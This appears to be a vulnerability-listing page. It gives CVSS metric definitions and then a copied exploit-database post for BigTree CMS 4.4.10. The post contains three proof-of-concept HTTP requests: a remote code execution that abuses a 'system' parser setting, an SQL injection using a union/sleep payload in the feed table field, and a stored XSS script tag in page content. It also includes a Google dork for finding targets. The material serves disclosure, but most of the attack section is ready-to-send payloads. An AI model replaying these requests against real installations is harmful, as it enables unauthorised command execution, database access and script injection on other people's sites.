The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: BigTree CMS 4.4.10 Remote Code Execution
# Exploit Title: BigTree CMS 4.4.10 - Remote Code Execution
# Google Dork: " BigTree CMS "
# Date: 2020-25-09
# Exploit Author: SunCSR (ThienNV and HoaVT - Sun* Cyber Security Research)
# Vendor Homepage: https://www.bigtreecms.org/
# Software Link: https://www.bigtreecms.org/
# Version: 4.4.10
# Tested on: Windows
# CVE : N/A
## 1. Authenticated Remote Code Execution
# Attack type: Remote
# Impact: Remote arbitrary code execution
# Affected component(s): /core/admin/field-types/list/draw.php
# Attack vectors: Authenticated user (developer) can inject malicious command to the applications via crete new setting function:
# Description: BigTree 4.4.10 and earlier are vulnerable to Authenticated Remote Code Execution vulnerability. An authenticated user (developer) can send a crafted request to the server and perform remote command execution (RCE).
# Severity (CVSS 3.1): Base Score: 9.1 CRITICAL
# POC: Developer create setting and code will be executed when load settings:
POST /BigTreeCMS/site/index.php/admin/developer/settings/create/ HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 388
Origin: http://xxxx
Connection: close
Referer: http://xxxx/BigTreeCMS/site/index.php/admin/developer/settings/add/
Cookie: PHPSESSID=ipmr6c2jplqqlgcdrkgbtg4tfl; bigtree_admin[email]=tadmin%40bigtree.com; bigtree_admin[login]=%5B%22session-5f6d51f54fc301.14043773%22%2C%22chain-5f6d51f54fb248.84144127%22%5D
Upgrade-Insecure-Requests: 1
__csrf_token_PEFN3BUK0DAXK7Y10NJWT5E4813WXTXB__=tx6rzTz4ddDFI60tfcBe8tDN7lJ2YA3WlcdPLm/EbeY=&id=Test rce&name=Test rce&type=list&settings={"list_type":"static","allow-empty":"Yes","list":"whoami","pop-table":"","parser":"system"}&description=<p>Test rce</p>
# Video: https://vimeo.com/461667065
## 2. Authenticated SQL Injection
# Attack type: Remote
#Impact: Authenticated SQl Injection in BigTree CMS
# Attack vectors: Authenticated user (developer) can inject malicious SQL query to the applications via crete new feed function:
# Affected component(s): /core/feeds/custom.php
# Description:BigTree 4.4.10 and earlier are vulnerable to Authenticated SQL Injection vulnerability. An authenticated user (developer) can send a malicious sql query to the server and perform sql query.
# Severity (CVSS 3.1): Base Score: 7.2 HIGH
# POC: Request create or edit feed:
POST /site/index.php/admin/developer/feeds/create/ HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 379
Origin: http://xxxx
Connection: close
Referer: http://xxxx/site/index.php/admin/developer/feeds/add/
Cookie: yyyy
__csrf_token_RW2U3KT3JXVY70AKWPV9UHG3HWQ12PP4__=S0%2B7MADREPOzg1%2Fkht7xbgzv0uKqrRpuccn2gOmft88%3D&name=SQL+Injection&table=sqli_test+union+select+sleep(5)%23&type=custom&settings=%7B%22sort%22%3A%22%60id%60+ASC%22%2C%22limit%22%3A%222%22%2C%22parser%22%3A%22system%2Cexec%22%7D&description=as&fields%5Bid%5D%5Bwidth%5D=&fields%5Bid%5D%5Btitle%5D=ID&fields%5Bid%5D%5Bparser%5D=12
# Video: https://vimeo.com/461667107
## 3. Authenticated Stored Cross-Site Scripting
# Attack type: Remote
# Impact: Stored XSS
# Affected component(s): site/index.php/admin/pages/update
# Attack vector(s): Authenticated user (developer) can inject malicious Javascript to the applications via crete or update page function:
# Description: Stored XSS vulnerabilities in the BigTree 4.4.10 and earlier allow remote authenticated user with low privilege (editor or publisher) to inject arbitrary web script or HTML via the page content to site/index.php/admin/pages/update
# Severity (CVSS 3): Base Score: 6.5 MEDIUM
# POC: Request create or edit page:
POST /BigTreeCMS/site/index.php/admin/pages/update/ HTTP/1.1
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,vi-VN;q=0.8,vi;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------2320192840320212926996245368
Content-Length: 12173
Origin: http://xxx
Connection: close
Referer: http://xxxx/BigTreeCMS/site/index.php/admin/pages/edit/2/
Cookie: yyyy
---some fields here---
<p> <span class="s1"><em>These people are ridiculous and fake. This page is an example of a </em><a href="https://www.bigtreecms.org/docs/dev-guide/templates/" target="_blank" rel="noopener"><span class="s2"><em>basic template</em></span></a><em> with page content and a set of </em><a href="https://www.bigtreecms.org/docs/dev-guide/callouts/" target="_blank" rel="noopener"><span class="s2"><em>callouts</em></span></a><em>. Go to the </em><a href="https://www.bigtreecms.org/docs/dev-guide/installation/" target="_blank" rel="noopener"><span class="s2"><em>BigTree Developer Guide</em></span></a><em> for more.</em></span></p>
<p><span class="s1"><em>XSS here <script>alert(origin)</script></em></span></p>
-----------------------------2320192840320212926996245368
---some fields here---
# Video: https://vimeo.com/461667129
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